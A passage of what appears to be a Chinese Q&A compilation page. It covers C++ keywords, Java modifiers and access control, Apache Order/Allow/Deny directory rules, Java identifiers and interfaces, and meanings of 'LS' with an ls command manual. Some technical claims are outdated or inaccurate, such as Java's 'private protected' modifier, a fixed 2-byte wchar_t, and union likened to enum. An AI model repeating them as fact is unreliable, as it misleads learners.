6. catch catch和try語句一起用於異常處理。
7. char char(字元,character)類型,C++中的基本數據結構,其值一般為0~255的int。這256個字元對應著256個ASCII碼。char類型的數據需要用單
引號』』括起來。
8. class class(類)是C++面向對象設計的基礎。使用class關鍵字聲明一個類。
9. const const(常量的,constant)所修飾的對象或變數不能被改變,修飾函數時,該函數不能改變在該函數外面聲明的變數也不能調用任何非const函數。在函數的聲明與定義時都要加上const,放在函數參數列表的最後一
個括弧後。在C++中,用const聲明一個變數,意味著該變數就是一個帶類型的常量,可以代替#define,且比#define多一個類型信息,且它執行內鏈接,可放在頭文件中聲明;但在C中,其聲明則必須放在源文件(即.C文件)中,在C中const聲明一個變數,除了不能改變其值外,它仍是一具變數。
10. const_cast用法:const_cast<type_id> (expression)
該運算符用來修改類型的const或volatile屬性。除了const 或volatile修飾之外, type_id和expression的類型是一樣的。常量指針被轉化成非常量指針,並且仍然指向原來的對象;
常量引用被轉換成非常量引用,並且仍然指向原來的對象;常量對象被轉換成非常量對象。
11. continue
continue(繼續)關鍵字用於循環結構。它使程序跳過代碼段後部的部分,與break不同的是,continue不是進入代碼段後的部分執行,而是重新開始新的循環。因而它是「繼續循環」之意,不是break(跳出)。
12. default
default(默認、預設)用於switch語句。當switch所有的case都不滿足時,將進入default執行。default只能放在switch語句所有的case之後,並且是可選的。
13. delete delete(刪除)釋放程序動態申請的內存空間。delete後面通常是一個指針或者數組[],並且只能delete通過new關鍵字申請的指針,否則會發生段錯誤。
14. do do-while是一類循環結構。與while循環不同,do-while循環保證至少要進入循環體一次。
15. double
double(雙精度)類型,C++中的基本數據結構,以雙精度形式存儲一個浮點數。
16. dynamic_cast
dynamic_cast(動態轉換),允許在運行時刻進行類型轉換,從而使程序能夠在一個類層次結構安全地轉換類型。dynamic_cast提供了兩種轉換方式,把基類指針轉換成派生類指針,或者把指向基類的左值轉換成派生類的引用。
17. else else緊跟在if後面,用於對if不成立的情況的選擇。
18. enum
enum(枚舉)類型,給出一系列固定的值,只能在這裡面進行選擇一個。
19. explicit
explicit(顯式的)的作用是「禁止單參數構造函數」被用於自動型別轉換,其中比較典型的例子就是容器類型。在這種類型的構造函數中你可以將初始長度作為參數傳遞給構造函數。
20. export
為了訪問其他編譯單元(如另一代碼文件)中的變數或對象,對普通類型(包括基本數據類、結構和類),可以利用關鍵字extern,來使用這些變數或對象時;但是對模板類型,則必須在定義這些模板類對象和模板函數時,使用標准C++新增加的關鍵字export(導出)。
21. extern
extern(外部的)聲明變數或函數為外部鏈接,即該變數或函數名在其它文件中可見。被其修飾的變數(外部變數)是靜態分配空間的,即程序開始時分配,結束時釋放。用其聲明的變數或函數應該在別的文件或同一文件的其它地方定義(實現)。在文件內聲明一個變數或函數默認
為可被外部使用。在C++中,還可用來指定使用另一語言進行鏈接,這時需要與特定的轉換符一起使用。目前僅支持」C」轉換標記,來支持C編譯器鏈接。使用這種情況有兩種形式:
extern 「C」 聲明語句
extern 「C」 { 聲明語句塊 }
22. false
false(假的),C++的基本數據結構bool類型的值之一。等同於int的0值。
23. float
float(浮點數),C++中的基本數據結構,精度小於double。
24. for
for是C++中的循環結構之一,用於有確定開始和結束以及需要確定步長的循環結構。
25. friend
friend(友元)聲明友元關系。友元可以訪問與其有friend關系的類中的private/protected成員,通過友元直接訪問類中的private/protected成員的主要目的是提高效率。友元包括友元函數和友元類。
26. goto
goto(轉到),用於無條件跳轉到某一標號處開始執行。
27. if
if(如果),C++中的條件語句之一,可以根據後面的bool類型的值選擇進入一個分支執行。
28. inline
inline(內聯)函數的定義將在編譯時在調用處展開。inline函數一般由短小的語句組成,可以提高程序效率。
29. int
int(整型,integer),C++中的基本數據結構,用於表示整數,精度小於long。
30. long
long(長整型,long integer),C++中的基本數據結構,用於表示長整數。
31. mutable
mutable(易變的)是C++中一個不常用的關鍵字。只能用於類的非靜態和非常量數據成員。由於一個對象的狀態由該對象的非靜態數據成員決定,所以隨著數據成員的改變,對像的狀態也會隨之發生變化。如果一個類的成員函數被聲明為const類型,表示該函數不會改變對象的狀態,也就是該函數不會修改類的非靜態數據成員。但是有些時候需要在該類函數中對類的數據成員進行賦值,這個時候就需要用到mutable關鍵字。
32. namespace
namespace(命名空間)用於在邏輯上組織類,是一種比類大的結構。
33. new
new(新建)用於新建一個對象。new運算符總是返回一個指針。由new創建的對象需要在恰當的地方進行delete操作。
34. operator
operator(操作符)用於操作符重載。這是C++中的一種特殊的函數。
35. private
private(私有的),C++中的訪問控制符。被標明為private的欄位只能在本類以及友元中訪問。
36. protected
protected(受保護的),C++中的訪問控制符。被標明為protected的欄位只能在本類以及其繼承類和友元中訪問。
37. public
public(公有的),C++中的訪問控制符。被標明為public的欄位可以在任何類中進行訪問。
38. register
register(寄存器)聲明的變數稱著寄存器變數,在可能的情況下會直接存放在機器的寄存器中;但對32位編譯器不起作用,當global optimizations(全局優化)開的時候,它會做出選擇是否放在自己的寄存器中;不過其它與register關鍵字有關的其它符號都對32位編譯器有效。
39. reinterpret_cast
用法:reinpreter_cast<type-id> (expression)type-id必須是一個指針、引用、算術類型、函數指針或者成員指針。它可以把一個指針轉換成一個整數,也可以把一個整數轉換成一個指針(先把一個指針轉換成一個整數,在把該整數轉換成原類型的指針,還可以得到原先的指針值)。
40. return
return(返回)用於在函數中返回值。程序在執行到return語句後立即返回,return後面的語句無法執行到。
41. short
short(短整型,short integer),C++中的基本數據結構,用於表示整數,精度小於int。
42. signed
signed(有符號),表明該類型是有符號數,和unsigned相反。數字類型(整型和浮點型)都可以用signed修飾。但默認就是signed,所以一般不會顯式使用。
43. sizeof
由於C++每種類型的大小都是由編譯器自行決定的,為了增加可移植性,可以用sizeof運算符獲得該數據類型佔用的位元組數。
44. static
static(靜態的)靜態變數作用范圍在一個文件內,程序開始時分配空間,結束時釋放空間,默認初始化為0,使用時可改變其值。靜態變數或靜態函數,只有本文件內的代碼才可訪問它,它的名字(變數名或函數名)在其它文件中不可見。因此也稱為「文件作用域」。在C++類的成員變數被聲明為static(稱為靜態成員變數),意味著它被該類的所有實例所共享,也就是說當某個類的實例修改了該靜態成員變數,其修改值為該類的其它所有實例所見;而類的靜態成員函數也只能訪問靜態成員(變數或函數)。類的靜態成員變數必須在聲明它的文件范圍內進行初始化才能使用,private類型的也不例外。
45. static_cast
用法:static_cast < type-id > ( expression ) 該運算符把expression轉換為type-id類型,但沒有運行時類型檢查來保證轉換的安全性。它主要有如下幾種用法:
① 用於類層次結構中基類和子類之間指針或引用的轉換。進行上行轉換(把子類的指針或引用轉換成基類表示)是安全的;進行下行轉換(把基類指針或引用轉換成子類表示)時,由於沒有動態類型檢查,所以是不安全的。
② 用於基本數據類型之間的轉換,如把int轉換成char,把int轉換成enum。這種轉換的安全性也要開發人員來保證。
③ 把空指針轉換成目標類型的空指針。
④ 把任何類型的表達式轉換成void類型。
注意:static_cast不能轉換掉expression的const、volitale、或者__unaligned屬性。
46. struct
struct(結構)類型,類似於class關鍵字,與C語言兼容(class關鍵字是不與C語言兼容的),可以實現面向對象程序設計
47. switch
switch(轉換)類似於if-else-if語句,是一種多分枝語句。它提供了一種簡潔的書寫,並且能夠生成效率更好的代碼。但是,switch後面的判斷只能是int(char也可以,但char本質上也是一種int類型)。switch語句最後的default分支是可選的。其用法為:
48. template
template(模板),C++中泛型機制的實現。
49. this
this返回調用者本身的指針。
50. throw
throw(拋出)用於實現C++的異常處理機制,可以通過throw關鍵字「拋出」一個異常。
51. true
true(真的),C++的基本數據結構bool類型的值之一。等同於int的非0值。
52. try
try(嘗試)用於實現C++的異常處理機制。可以在try中調用可能拋出異常的函數,然後在try後面的catch中捕獲並進行處理。
53. typedef
typedef(類型定義,type define),其格式為:typedef 類型 定義名;
類型說明定義了一個數據類型的新名字而不是定義一種新的數據類型。定義名表示這個類型的新名字。
54. typeid
指出指針或引用指向的對象的實際派生類型。
55. typename
typename(類型名字)關鍵字告訴編譯器把一個特殊的名字解釋成一個類型。在下列情況下必須對一個name使用typename關鍵字:
1. 一個唯一的name(可以作為類型理解),它嵌套在另一個類型中的。
2. 依賴於一個模板參數,就是說:模板參數在某種程度上包含這個name。當模板參數使編譯器在指認一個類型時產生了誤解。
56. union
union(聯合),類似於enum。不同的是enum實質上是int類型的,而union可以用於所有類型,並且其佔用空間是隨著實際類型大小變化的。
57. unsigned
unsigned(無符號),表明該類型是無符號數,和signed相反。
58. using
表明使用namespace。
59. virtual
virtual(虛的),C++中用來實現多態機制。
60. void
void(空的),可以作為函數返回值,表明不返回任何數據;可以作為參數,表明沒有參數傳入(C++中不是必須的);可以作為指針使用。
61. volatile
volatile(不穩定的)限定一個對象可被外部進程(操作系統、硬體或並發線程等)改變,聲明時的語法如下:
int volatile nVint;
這樣的聲明是不能達到最高效的,因為它們的值隨時會改變,系統在需要時會經常讀寫這個對象的值。因此常用於像中斷處理程序之類的非同步進程進行內存單元訪問。
62. wchar_t
wchar_t是寬字元類型,每個wchar_t類型佔2個位元組,16位寬。漢字的表示就要用到wchar_t。
63. while
C++中循環語句之一,和do…while不同之處在於while是在開始處進行判斷的,因而可能一次都不進入循環。
❺ 什麼是訪問控制符有哪些訪問控制符哪些可以用來修飾類哪些用來修飾域和方法試述不同訪問控制符的作用
一,非訪問修飾符。
1, 抽象類:
凡是用abstract修飾符修飾的類被稱為抽象類。抽象類就是沒有具體對象的概念類。
抽象類是一種經過優化的概念組織方式:把共同特點抽象出來;其後在描述和處理某一種具體對象時,就只需描述不同的特殊之處。這種組織方式使得所有的概念層次分明,簡潔洗練,非常符合人們日常的思維習慣。
由於抽象類是它的所有子類的公共屬性的集合,所以使用抽象類的一個優點就是可以充分利用這些公共屬性來提高開發和維護程序的效率。
值得一提的是,面向對象技術是要用更接近於人類思維方式的方法來處理實際問題,抽象類的設立就是這種思想的具體體現之一,它是模仿人類的思維模式的產物。
2,最終類:
如果一個類被final修飾符所修飾和限定,說明這個類不可能有子類。
被定義為final的類通常是一些有固定作用、用來完成某種標准功能的類。如java系統定義好的用來實現網路功能的InterAddress、Socket等類都是final類。
abstract和final修飾符不能同時修飾一個類,因為abstract類自身沒有具體對象,需要派生出子類後在創建子類的對象;而final類不可能有子類。這樣放在一起修飾就沒有意義了。
3,有些類的修飾符也可以用來修飾類中的域或方法:
(1) 域:是類和對象的靜態屬性,定義域的操作就是說明變數或創建對象的操作。
<1> 靜態域:
用static修飾符修飾的域是僅屬於類的靜態域。靜態域是類中每個對象共享的域。他們是類的域,不屬於任何一個類的具體對象。是一個公共的存儲單元,任何一個類的對象訪問它時,取到的都是相同的數值。
<2> 靜態初始化器:
靜態初始化器是由關鍵字static引導的一對大括弧括起的語句組。作用是:在載入時,初始化類的靜態域。
與構造函數相同,他們都是用來完成初始化的工作,但是靜態初始化器與構造函數有三點不同:
①構造函數是對每個新創建的對象初始化,而靜態初始化器是對類自身進行初始化。
②構造函數是在用new運算符產生新對象時由系統自動執行,而靜態初始化器則是在它所屬的類載入到內存時由系統調用執行。
③不同於構造函數,靜態初始化器不是方法,沒有方法名、返回值和參數列表。
<3> 最終域:
用final修飾的域,實際上就是Java中的常量。
用final修飾符說明常量時,需要注意以下幾點:
①需要說明常量的數據類型。
②需要同時指出常量的具體取值。
③因為所有類對象的常量成員,其數值都固定一致,為了節省空間,常量通常聲明為static。
<4> 易失域:
如果一個域被volatile修飾符所修飾,說明這個域可能同時被幾個線程所控制和修改,即這個域不僅僅被當前程序所掌握,在運行過程中可能在其他未知的程序操作影響和改變該域的取值。在使用當中應該特別注意。
通常,volatile用來修飾接受外部輸入的域。如表示當前時間的變數將系統的後台線程隨時修改,以保證程序中取到的總是最新的當前系統時間,所以可以把它定義為易失域。
(2)方法:是類的動態屬性,標志了類所具有的功能和操作。小括弧是方法的標志。
<1> 抽象方法:
修飾符abstract修飾的抽象方法是一種僅有方法頭,而沒有具體的方法體和操作實現的方法。使用抽象方法的目的是使所有的子類,對外都呈現一個相同名字的方法,是一個統一的介面。所有的抽象方法,都必須存在於抽象類之中。
<2> 靜態方法:
用static修飾符修飾的方法,是屬於整個類的類方法,不用的是對象或實例的方法。調用這種方法時,應該使用類名作前綴;這種方法在內存中的代碼段將隨著類的定義而分配和裝載,不被任何一個對象專有;只能處理屬於整個類的成員變數。
<3> 最終方法:
用final修飾符修飾的類方法。功能和內部語句不能再更改的方法,不能再被繼承。
注意:所有已被private修飾符限定為私有的方法,以及所有包含在final類中的方法,都被預設地認為是final的。
<4> 本地方法:
用native修飾符聲明其他語言書寫方法體並具體實現方法功能的特殊的方法。這里的其他語言包括C/C++/FROTRAN/匯編等。由於native的方法的方法體使用其他語言在程序外部寫成,所以所有的native方法都沒有方法體,而用一個分號代替。
<5> 同步方法:
如果synchronized修飾的方法是一個類的方法(即static的方法),那麼在被調用執行前,將把系統類Class中對應當前類的對象加鎖。如果synchronized修飾的是一個對象的方法(未用static修飾的方法),則這個方法在被調用執行前,將把當前對象加鎖。Synchronized修飾符主要用於多線程共存的程序中的協調和同步。
二,訪問控制符。
訪問控制符是一組限定類、域或方法是否可以被程序里的其他部分訪問和調用的修飾符。類的訪問控制符只有一個public,域和方法的訪問控制符有四個,分別是public、private、protected、private protected,另外還有一種沒有定義專門的訪問控制符的預設情況。
1, 公有訪問控制符public:
Java的類是通過包的概念來組織的,包氏類的一個鬆散的集合。處於同一個包中的類可以不需要任何說明而方便的互相訪問和引用,而對於不同包中的類,則不行。但當一個類被聲明為public時,他就具有了被其他包中的類訪問的可能性,只要這些其他包中的類在程序中使用import語句引入public類,就可以訪問和引用這個類。
類中被設定為public的方法是這個類對外的介面部分,避免了程序的其他部分直接去操作類內的數據,這實際就是數據封裝思想的體現。
每個Java程序的主類都必須是public類,也是基於相同的原因。
用public修飾的類的域稱為公共域。如果公共域屬於公共類,則它能被所有的其他類所引用。public修飾符會造成安全性的數據封裝性下降,所以一般應減少public域的使用。
2, 預設訪問控制符:
預設訪問控制權規定,該類只能被同一個包中的類訪問和引用,而不可以被其他包中的類使用,這種訪問特性又稱為包訪問性。
同樣道理,類內的域或方法如果美育訪問控制符來限定,也就具有包訪問性。
簡單說,定義在同一個程序中的所有類屬於一個包。
3,私有訪問控制符private :
用private修飾得域或方法只能被該類自身所訪問和修改,而且不能被任何其他類(包括該類的子類)來獲取和引用。private修飾符用來聲明那些類的私有成員,它提供了最高的保護級別。
4,保護訪問控制符protected :
用protected修飾的成員變數可以被三種類所引用:該類自身、與它在同一個包中的其它類、在其他包中的該類的子類。使用protected修飾符的主要作用是允許其他包中該類的子類來訪問父類的特定屬性。
5,私有保護訪問控制符 private protected :
用private protected修飾的成員變數可以被兩種類訪問和引用,一種是該類本身,一種是該類的所有子類。把同一個包內的非子類排除在可訪問的范圍之外,使得成員變數更專於具有明確繼承關系的類,而不是鬆散地組合在一起的包。
❻ apache目錄訪問控制的參數是哪些
1.根目錄的訪問控制
DocumentRoot "/var/www/html"
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
解釋一下:
<Directory/>表示要對文件系統的目錄進行限制
Options FollowSymLinks表示跟隨符號鏈接,關於Option的值參下表
AllowOverrideNone表示不允許覆蓋,AllowOverride的值參見下表,在此例中對根目錄做了非常嚴格的限制,即只允許跟隨符號鏈接,不允許其他文件覆蓋當前的設置。
2.文檔根目錄的訪問控制-----(針對文檔根目錄"/var/www/html"進行限制。)
<Directory "/var/www/html">
Options Indexes FollowSymLinks
Order allow,deny
Allow from all
</Directory>
解釋一下:
OptionsIndexs
FollowSymLinks:設置允許跟隨符號連接:Indexes的含義是如果要訪問的文檔不存在,則會顯示出該目錄下的文件目錄清單。
AllowOverride
None:不允許覆蓋當前設置,即不處理.htaccess文件。
Allow from all:允許從任何地點訪問該目錄
拓展一下(關於OrderAllow,Deny詳解):
Allow和Deny可以用於apache的conf文件或者.htaccess文件中(配合Directory,Location,
Files等),用來控制目錄和文件的訪問授權。
所以,最常用的是:
Order Deny,Allow
Allow from All
注
意「Deny,Allow」中間只有一個逗號,也只能有一個逗號,有空格都會出錯;單詞的大小寫不限。上面設定的含義是先設定「先檢查禁止設定,沒有禁止
的全部允許」,而第二句沒有Deny,也就是沒有禁止訪問的設定,直接就是允許所有訪問了。這個主要是用來確保或者覆蓋上級目錄的設置,開放所有內容的訪
問權。
按照上面的解釋,下面的設定是無條件禁止訪問:
Order Allow,Deny
Deny from All
如果要禁止部分內容的訪問,其他的全部開放:
Order Deny,Allow
Deny from ip1 ip2
或者
Order Allow,Deny
Allow from all
Deny from ip1 ip2
apache
會按照order決定最後使用哪一條規則,比如上面的第二種方式,雖然第二句allow允許了訪問,但由於在order中allow不是最後規則,因此還
需要看有沒有deny規則,於是到了第三句,符合ip1和ip2的訪問就被禁止了。注意,order決定的「最後」規則非常重要,下面是兩個錯誤的例子和
改正方式:
Order
Deny,Allow
Allow from all
Deny from domain.org
錯誤:想禁止來自domain.org的訪問,但是deny不是最後規則,apache在處理到第二句allow的時候就已經匹配成功,根本就不會去看第三句。
解決方法:Order Allow,Deny,後面兩句不動,即可。
Order
Allow,Deny
Allow from ip1
Deny from all
錯誤:想只允許來自ip1的訪問,但是,雖然第二句中設定了allow規則,由於order中deny在後,所以會以第三句deny為准,而第三句的范圍中又明顯包含了ip1(allinclude ip1),所以所有的訪問都被禁止了。
解決方法一:直接去掉第三句。
解決方法二:
Order Deny,Allow
Deny from all
Allow from ip1
❼ 1.下列哪些標識符是合法的哪些是Java的關鍵字
標識符有如下規范:
有實際意義為佳:例:name pass(為佳),x y aaa(不建議)
首字母包括:字(字母)、下(下劃線)、美(美元符號'$')、人(人民幣符號'¥')
之後的字母:字、下、美、人、數(數字)
綜合上述規則:你給出的標識符
正確的有:Applet,$4,apps,x,y,radius,class(關鍵字:類),public(關鍵字:一種訪問控制符:共用模式,最大范圍),int(基本類型:整數類型)
不對的有:a++,--a,4#R,#44,
希望能幫到你,望採納
❽ 誰知道Java中的介面是指什麼
一、什麼是介面
java介面(Interface),是一系列方法的聲明,是一些方法特徵的集合,一個介面只有方法的特徵沒有方法的實現,因此這些方法可以在不同的地方被不同的類實現,而這些實現可以具有不同的行為(功能)。
二、java中介面定義的一般形式:
[訪問控制符]interface <介面名> {
類型標識符final 符號常量名n = 常數;
返回值類型 方法名([參數列表])
}
下面我們例舉了幾種定義介面的方法:
方法一:
interface B {
//coding here !
}
public interface A extends B{
//coding here !
}
方法二:
abstract class C{
public C(){
}
}
abstract class D extends C{
public D(){
super();
}
}
方法三:
public interface A {
//coding here !
}
abstract class C implements A{
public C(){
}
}
方法四:
interface B {
//coding here !
}
public interface A extends B{
//coding here !
}
abstract class C implements A{
public C(){
}
}
class D extends C{
public D(){
super();
}
}
二、介面的特點
1、Java介面中的成員變數默認都是public,static,final類型的(都可省略),必須被顯示初始化,即介面中的成員變數為常量(大寫,單詞之間用"_"分隔)
2、Java介面中的方法默認都是public,abstract類型的(都可省略),沒有方法體,不能被實例化
3、Java介面中只能包含public,static,final類型的成員變數和public,abstract類型的成員方法
4、介面中沒有構造方法,不能被實例化
5、一個介面不能實現(implements)另一個介面,但它可以繼承多個其它的介面
6、Java介面必須通過類來實現它的抽象方法
7、當類實現了某個Java介面時,它必須實現介面中的所有抽象方法,否則這個類必須聲明為抽象類
8、不允許創建介面的實例(實例化),但允許定義介面類型的引用變數,該引用變數引用實現了這個介面的類的實例
9、一個類只能繼承一個直接的父類,但可以實現多個介面,間接的實現了多繼承.
這些都是Java的基礎知識你可以去一個叫做秒秒學的網站學習相關內容
❾ LS是什麼意思,為什麼有的網友評論的時候都寫他
網路術語,一般多用於論壇(BBS)中解釋為「樓上」 網路術語有個共性,就是基本都是漢語拼音的縮寫。比如LS,就是loushang的縮寫。 ls *nix 命令 列目錄 一般存在於 /bin/下 ls還有光雕的意思ls是渲染軟體Lightscape的縮寫
LS也是冰封王座中澄海3C地圖里的光明游俠--LightSylvanus
LINUX命令用法
ls 命令
用途
顯示目錄內容。
語法
顯示目錄或文件名的內容
ls [ -1 ] [ -A ] [ -C ] [ -F ] [-H | -L ] [ -N ] [ -R ] [ -a ] [ -b ] [ -c ] [ -d ] [ -e ] [ -f ] [ -g ] [ -i ] [ -l ] [ -m ] [ -n ] [ -o ] [ -p ] [ -q ] [ -r ] [ -s ] [ -t ] [ -u ] [ -x ] [ File ... ]
顯示目錄內容
ls -f [ -C ] [ -d ] [ -i ] [ -m ] [ -s ] [ -x ] [ -1 ] [ Directory ... ]
描述
ls 命令將每個由 Directory 參數指定的目錄或者每個由 File 參數指定的名稱寫到標准輸出,以及您所要求的和標志一起的其它信息。如果不指定 File 或 Directory 參數, ls 命令顯示當前目錄的內容。
在互斥對中指定多個選項不看成錯誤。每對中最後一個指定的選項確定輸出格式。
預設情況下,ls 命令按照文件名的字母順序顯示所有信息。整理順序由環境變數 LANG 或 LC_COLLATE 環境變數確定。在 AIX 5L Version 5.2 General Programming Concepts: Writing and Debugging Programs 中的 "National Language Support Overview for Programming" 包含更多細節。
當 ls 命令顯示目錄內容時,它不顯示名稱以 .(點)開頭的文件項,除非使用了 -a 或者 -A 標志。如果命令由 root 用戶執行,它預設使用 -A 標志。
格式化輸出有三種主要方式:
* 每行列出一項。
* 通過指定 -C 或 -x 標志以多列列出各項。當向 tty 輸出時,-C 標志是預設格式。如果文件或目錄名太長,ls 命令顯示單列輸出。
* 通過指定 -m 標志可以以逗號分隔系列列出項。
要確定輸出行中字元位置的數目,ls 命令使用環境變數 COLUMNS。如果沒有設置此變數,命令獲取顯示的當前列值。如果使用這些方法,ls 命令還不能確定字元位置的數量,它就使用預設值 80。
使用 -e 和 -l 標志所顯示的方式解釋如下:
如果第一個字元是:
d 此項為目錄。
b 此項為塊特殊文件。
c 此項為字元特殊文件。
l 此項為符號鏈接,或者指定 -N 標志,或者符號鏈接不指向現有文件。
p 此項為一個先進先出(FIFO)特殊文件。
s 此項為本地套接字。
- 此項為普通文件。
接下來的 9 個字元被分成 3 個集合,每個集合 3 個字元。第一組 3 字元集合顯示所有者許可權。下一組 3 字元集合顯示了組中其它用戶的許可權。最後 3 字元集合顯示了訪問此文件的其它任何人的許可權。每個集合中的三個字元各自表示了文件的讀、寫和執行許可權。目錄的執行許可權讓您可以搜索目錄中的指定文件。
許可權表示如下:
r 讀
w 寫(編輯)
x 執行(搜索)
- 沒有授予相應的許可權
如果文件有 set-group-ID 方式,那麼組執行許可權字元是 s。如果文件有 set-user-ID 方式,則用戶執行許可權字元是 s。如果方式位被設置為 01000(八進制)(請參閱 chmod 命令以獲得此方式的含義),最後一個方式字元(通常 x 或者 -)是 T。如果沒有設置相應的執行許可權,set-ID 的指示和方式位 01000 以大寫字母開頭(分別為 S 和 T)。方式 t 表示粘滯位是為文件或目錄而設置的。
當使用 -e 標志時,其顯示方式與使用 -l 標志一樣,除了多出了第 11 個字元,其解釋如下:
+ 表示文件有擴展安全性信息。例如,文件可能在方式中有擴展的 ACL、TCB 或者 TP 屬性。
通過使用 aclget 命令,可以顯示文件的訪問控制信息(ACL)。通過使用 chtcb 命令,可以顯示 TCB 和 TP 屬性的值。
- 表示文件沒有擴展安全性信息。
當列出目錄中文件大小時,ls 命令顯示塊總數,包括間接塊。
標志
-A 列出所有條目,除了 .(點)和 ..(點-點)。
-a 列出目錄中所有項,包括以 .(點)開始的項。
-b 以八進制 ( \nnn) 表示法顯示非列印字元。
-c 使用索引節點最近一次修改的時間,用以排序(當帶 -t 標志使用時)或者用以顯示(當帶 -l 標志使用時)。該標志必須和 -t 或 -l 標志或者兩者一起使用。
-C 以多列縱向排序輸出。當往終端輸出時,此為預設方法。
-d 僅僅顯示指定目錄信息。目錄和文件一樣處理,這在當使用 -l 標志獲取目錄狀態時非常有用。
-e 顯示方式(包括安全信息)、鏈接數目、所有者、組、大小(按位元組)、最近修改時間和每個文件名稱。如果文件是特殊文件,大小欄位包含主要和次要設備數目。如果文件是符號鏈接,會列印所鏈接到的文件的路徑名,其前有 ->(減號,大於號)符號。顯示符號鏈接的屬性。
-E 列出文件的保留空間、固定范圍大小和范圍分配標志信息。使用該標志時,必須指定 -l 標志。
-f 在每個存儲槽中列出 Directory 參數指定的每個目錄的名稱。該標志關閉 -l、-t、 -s 和 -r 標志並且開啟 -a 標志。列表的順序就是項出現在目錄中的順序。
-F 如果文件是目錄,在文件名後面放置一個 /(斜杠),如果文件可執行,則放置一個 *(星號),如果文件為套接字,則放置一個 =(等號),如果為 FIFO,則放置一個 |(管道)符號,如果是符號鏈接,則放置一個 @。
註:只有在使用 -N 標志或者鏈接指向一個不存在的文件時,符號鏈接顯示時才後跟 ->。否則,顯示目標文件的有關信息。通過輸入 ls -f 命令,也可以調用此選項。
-g 與使用 -l 標志時顯示同樣的信息,除了 -g 標志禁止顯示所有者和符號鏈接信息。
-H 如果在命令行上指定了引用類型目錄文件的符號鏈接,ls 命令將文件信息和文件類型估計為由鏈接引用的文件的信息和類型,而非鏈接本身;然而,ls 命令將寫鏈接本身的名稱,而非由鏈接引用的文件。
-i 顯示每個文件報告第一列中的索引節點數目。
-L 列出鏈接引用的文件或目錄內容。此為預設操作。後跟符號鏈接。如果使用 -l 選項,-N 選項就成為預設值,不後跟符號鏈接。當使用 -l 選項時,僅有 -L 選項能夠覆蓋 -N 預設值。
-l (L 的小寫)顯示方式、鏈接數目、所有者、組、大小(按位元組)和每個文件最近一次修改時間。如果文件是特殊文件,大小欄位包含主要和次要設備數目。如果最近一次修改時間大於六個月之前,時間欄位以 月份 日期 年份 的格式顯示,然而六個月內修改的文件以 月份 日期 時間 的格式顯示。
如果文件是符號鏈接,,列印所鏈接到的文件的路徑名,其前跟 ->。顯示符號鏈接的屬性。-n、-g、和 -o 標志覆蓋 -l 標志。
注意事項:
1. 符號鏈接文件後跟一個箭頭,然後是符號鏈接的內容。
2. 當使用 -l 選項時,通過執行 mkpasswd 命令,可以提高 ls 命令的執行性能。當目錄包含不同用戶擁有的文件時,這非常有用,比如 /tmp 目錄。
-m 使用流輸出格式(逗號分隔系列)。
-n -n 標志除顯示用戶和組 ID 而不是用戶和組名稱以外,它顯示和 -l 標志同樣的信息。
-N 當確定文件狀態時,不跟在符號鏈接之後。
註:如果使用 -L 和 -N 兩個標志,最後一個標志起作用。同樣的,任何時候給定一個包含以 /(斜杠)作為最後字元的符號鏈接,不管使用何種選項,後面都會跟有鏈接。
-o -o 標志除禁止顯示組和符號鏈接信息之外,它顯示和 -l 標志同樣的信息。
-p 如果文件是目錄,在每個文件名後面放置一個斜杠。當將 ls 命令的輸出通過管道傳遞到 pr 命令時,這很有用,如下所示:
ls -p | pr -5 -t -w80
-q 將文件名中的非列印字元顯示成 ?(問號)。
-r 反轉排序順序,適當的按字母逆向排序或者首先排序最舊的文件。
-R 遞歸列出所有子目錄。
-s 按照千位元組(包括間接塊)給出每一項的大小。
-t 按照最近一次修改時間(最近的最先)而不是名稱排序。
-u 使用最近訪問時間,而不是最近修改時間用以排序(當使用 -t 標志)或者顯示(當使用 -l 標志)。如果不和 -t 或 -l 標志或兩者一起使用,則該標志無效。
-x 以多列格式橫向排序輸出。
-1 強制輸出為每行一項格式。當輸出沒有定向到終端時,此為預設值。
退出狀態
此命令返回以下退出值:
0 寫所有文件成功。
>0 產生錯誤。
示例
1. 要列出當前目錄中的所有文件,請輸入:
ls -a
列出所有文件,包括 .(點)、..(點點)和其他以點開頭的文件。
2. 要顯示詳細信息,請輸入:
ls -l chap1 .profile
顯示一個長列表,包括關於 chap1 和 .profile 的詳細信息。
3. 要顯示有關目錄的詳細信息,請輸入:
ls -d -l . manual manual/chap1
顯示目錄 . 和 manual 以及文件 manual/chap1 的長列表。不使用 -d 標志時,會列出 . 和 manual 目錄中的所有文件,而不是關於目錄本身的詳細信息。
4. 要按照修改時間列出文件,請輸入:
ls -l -t
顯示最近被修改文件的長列表,較舊的文件跟在後面。
文件
/usr/bin/ls 包含 ls 命令。
/etc/passwd 包含用戶 ID。
/etc/group 包含組 ID。
/usr/share/lib/terminfo/* 包含終端信息。
-------------------------------------
LS 指「最小二乘法」
TLS指「全局最小二乘法」
======================
LS在GTA SanAndress中,指的是Los Santos市。
------------------------------
LS:least-significant IEEE 802.1Q
在電路中,LS是指蜂鳴器,如下圖所示:
-------------------------------------
有時LS被當作是著名ACG論壇lost summer的簡稱
LS,液壓傳動設計系統中經常出現這個詞彙,,是load sense的速寫,表示負載敏感效應,一般指執行負載(馬達或油缸)中的負載壓力信號,這個壓力信號可以連接到泵斜盤,用於閉環反饋控制。